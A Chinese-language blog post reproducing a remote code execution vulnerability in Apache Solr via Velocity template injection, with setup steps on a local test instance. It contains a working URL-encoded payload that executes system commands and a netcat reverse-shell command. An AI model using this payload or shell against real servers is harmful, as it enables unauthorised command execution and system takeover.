Apache Solr Velocity模板注入RCE漏洞复现

Solr简介:

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

漏洞概述

近日,国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入的漏洞.该漏洞可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于Github以及各大安全群,且公开的EXP可以执行任意命令并自带回显.官方暂未发布补丁

漏洞产生原因:

当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改

Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定末班,默认设置是false

当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行

  • 编号:暂无
  • 漏洞威胁等级:高危
  • 影响范围:包括但不限于8.2.0(最新版本)

漏洞复现:

方法一:

下载最新的Solr

下载地址:https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip

解压以后,进入solr-8.1.0/bin目录

使用./solr -e dih -force开启示例app

随后访问http://127.0.0.1:8983/solr/#/进入主界面

点击左侧的Core Selector查看集合名称

payload:

/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

注意:漏洞需要Content-Type为application/json

反弹shell:

可以反弹shell,使用nc命令:

nc -e /bin/bash ip port成功反弹shell

反弹shell命令linux下反弹shell的几种方式

方法二:使用vlhub中的CVE2019-0193环境进行搭建。漏洞启动参照:CVE-2019-11043 Nginx PHP 远程代码执行漏洞复现

复现步骤如上同

poc下载:https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

Apache Solr Velocity模板远程代码执行复现

 

©️2020 CSDN 皮肤主题: 技术黑板 设计师:CSDN官方博客 返回首页